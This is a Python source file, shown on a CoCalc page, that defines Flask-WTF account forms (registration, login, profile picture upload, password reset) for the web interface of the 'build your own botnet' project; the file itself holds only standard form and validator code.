Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/users/forms.py
1292 views
1
import json
2
from flask_wtf import FlaskForm
3
from flask_wtf.file import FileField, FileAllowed
4
from wtforms import StringField, PasswordField, SubmitField, BooleanField, SelectField, TextAreaField
5
from wtforms.validators import DataRequired, Length, EqualTo, ValidationError
6
7
from buildyourownbotnet.models import User
8
9
10
class RegistrationForm(FlaskForm):
11
username = StringField('Username',
12
validators=[DataRequired(), Length(max=16)])
13
password = PasswordField('Password',
14
validators=[DataRequired(), Length(min=8)])
15
confirm_password = PasswordField('Confirm Password',
16
validators=[DataRequired(), Length(min=8), EqualTo('password')])
17
submit = SubmitField('Sign Up')
18
19
def validate_email(self, email):
20
if User.query.filter_by(email=email.data).first():
21
raise ValidationError("That email is taken. Please choose a different one.")
22
23
def validate_username(self, username):
24
if User.query.filter_by(username=username.data).first():
25
raise ValidationError("That username is taken. Please choose a different one.")
26
27
28
class LoginForm(FlaskForm):
29
username = StringField('Username',
30
validators=[DataRequired(), Length(max=16)])
31
password = PasswordField('Password',
32
validators=[DataRequired(), Length(min=8)])
33
submit = SubmitField('Log In')
34
35
36
class UpdateAccountForm(FlaskForm):
37
picture = FileField('Update Profile Picture',
38
validators=[FileAllowed(['jpg','png'])])
39
submit = SubmitField('Update')
40
41
class ResetPasswordForm(FlaskForm):
42
password = PasswordField('New Password',
43
validators=[DataRequired(), Length(min=8)])
44
confirm_password = PasswordField('Confirm New Password',
45
validators=[DataRequired(), Length(min=8), EqualTo('password')])
46
submit = SubmitField('Reset Password')
47
48
49